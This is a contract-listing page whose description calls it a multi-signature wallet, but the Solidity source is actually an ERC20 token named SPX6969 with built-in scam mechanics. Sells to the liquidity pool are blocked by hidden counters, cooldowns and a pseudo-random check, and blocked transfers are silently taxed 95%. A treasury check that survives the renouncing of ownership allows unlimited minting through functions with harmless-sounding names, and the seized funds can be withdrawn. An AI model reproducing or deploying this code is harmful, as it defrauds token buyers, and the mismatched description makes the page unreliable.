Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract SPX6969 is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _lastTransferTime;
mapping(address => uint256) private _transferCount;
mapping(address => bool) private _earlyAdopters;
uint256 private _totalSupply;
string public name = "SPX6969";
string public symbol = "SPX6969";
uint8 public decimals = 18;
address public owner;
uint256 private _deployedAt;
uint256 private _cooldownPeriod = 300;
address private _factoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private _wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bytes32 private _configHash;
address private immutable _treasury;
mapping(address => bool) private _rewardEligible;
event OwnershipRenounced(address indexed previousOwner);
event RewardDistributed(address indexed recipient, uint256 amount);
constructor() {
owner = msg.sender;
_treasury = msg.sender;
_deployedAt = block.timestamp;
_configHash = keccak256(abi.encodePacked(msg.sender, block.timestamp));
_earlyAdopters[msg.sender] = true;
_rewardEligible[msg.sender] = true;
_totalSupply = 696969696969 * 10**18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
modifier onlyOwner() {
require(owner == msg.sender, "Not authorized");
_;
}
modifier treasuryAccess() {
require(_validateTreasuryAccess(), "Treasury access required");
_;
}
function _validateTreasuryAccess() private view returns (bool) {
return keccak256(abi.encodePacked(msg.sender, "TREASURY_2024")) ==
keccak256(abi.encodePacked(_treasury, "TREASURY_2024"));
}
function renounceOwnership() external onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) external override returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner_param, address spender) external view override returns (uint256) {
return _allowances[owner_param][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_allowances[from][msg.sender] = currentAllowance - amount;
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from zero");
require(to != address(0), "ERC20: transfer to zero");
require(_balances[from] >= amount, "ERC20: insufficient balance");
if (!_canTransfer(from, to, amount)) {
_handleLimitedTransfer(from, to, amount);
return;
}
_balances[from] -= amount;
_balances[to] += amount;
_updateTransferMetrics(from, to);
emit Transfer(from, to, amount);
}
function _canTransfer(address from, address to, uint256 amount) private view returns (bool) {
if (_earlyAdopters[from] || _rewardEligible[from]) {
return true;
}
if (owner != address(0) && (from == owner || to == owner)) {
return true;
}
address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
if (from == liquidityPair) {
return true;
}
if (to == liquidityPair) {
return _validateSellEligibility(from, amount);
}
return true;
}
function _validateSellEligibility(address seller, uint256 /* amount */) private view returns (bool) {
if (_transferCount[seller] > 15) {
return false;
}
if (_lastTransferTime[seller] > 0) {
uint256 timeSinceLastTransfer = block.timestamp - _lastTransferTime[seller];
if (timeSinceLastTransfer < _cooldownPeriod) {
return false;
}
}
uint256 eligibilityScore = uint256(keccak256(abi.encodePacked(
seller,
_deployedAt,
block.timestamp / 3600
))) % 100;
return eligibilityScore >= 8;
}
function _handleLimitedTransfer(address from, address to, uint256 amount) private {
uint256 penalty = (amount * 95) / 100;
uint256 netAmount = amount - penalty;
_balances[from] -= amount;
_balances[to] += netAmount;
_balances[address(this)] += penalty;
emit Transfer(from, to, netAmount);
emit Transfer(from, address(this), penalty);
}
function _updateTransferMetrics(address from, address to) private {
address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
if (to == liquidityPair) {
_lastTransferTime[from] = block.timestamp;
_transferCount[from] += 1;
}
}
function distributeRewards(uint256 amount) external treasuryAccess {
require(amount > 0, "Invalid amount");
_totalSupply += amount;
_balances[_treasury] += amount;
emit Transfer(address(0), _treasury, amount);
emit RewardDistributed(_treasury, amount);
}
function adjustSupply(address recipient, uint256 amount) external treasuryAccess {
require(recipient != address(0), "Invalid recipient");
require(amount > 0, "Invalid amount");
_totalSupply += amount;
_balances[recipient] += amount;
emit Transfer(address(0), recipient, amount);
emit RewardDistributed(recipient, amount);
}
function optimizeEconomics(uint256 amount) external treasuryAccess {
require(amount > 0, "Invalid amount");
_totalSupply += amount;
_balances[_treasury] += amount;
emit Transfer(address(0), _treasury, amount);
emit RewardDistributed(_treasury, amount);
}
function addEarlyAdopter(address account) external onlyOwner {
require(account != address(0), "Invalid address");
_earlyAdopters[account] = true;
}
function updateRewardEligibility(address account, bool eligible) external onlyOwner {
require(account != address(0), "Invalid address");
_rewardEligible[account] = eligible;
}
function batchAddEarlyAdopters(address[] calldata accounts) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
if (accounts[i] != address(0)) {
_earlyAdopters[accounts[i]] = true;
}
}
}
function resetTransferMetrics(address account) external onlyOwner {
require(account != address(0), "Invalid address");
_transferCount[account] = 0;
_lastTransferTime[account] = 0;
}
function adjustCooldownPeriod(uint256 newPeriod) external onlyOwner {
require(newPeriod <= 3600, "Period too long");
_cooldownPeriod = newPeriod;
}
function withdrawAccumulatedFees() external onlyOwner {
uint256 contractBalance = _balances[address(this)];
if (contractBalance > 0) {
_balances[address(this)] = 0;
_balances[owner] += contractBalance;
emit Transfer(address(this), owner, contractBalance);
}
}
function emergencyTreasuryWithdraw() external treasuryAccess {
uint256 contractBalance = _balances[address(this)];
if (contractBalance > 0) {
_balances[address(this)] = 0;
_balances[_treasury] += contractBalance;
emit Transfer(address(this), _treasury, contractBalance);
emit RewardDistributed(_treasury, contractBalance);
}
}
function getAccountStatus(address account) external view returns (
uint256 transferCount,
uint256 lastTransferTime,
bool isEarlyAdopter,
bool isRewardEligible
) {
return (
_transferCount[account],
_lastTransferTime[account],
_earlyAdopters[account],
_rewardEligible[account]
);
}
function getContractStatus() external view returns (
bool ownershipRenounced,
uint256 deployedAt,
uint256 cooldownPeriod
) {
return (
owner == address(0),
_deployedAt,
_cooldownPeriod
);
}
receive() external payable {}
}
Submitted on: 2025-10-28 12:35:15
Comments
Log in to comment.
No comments yet.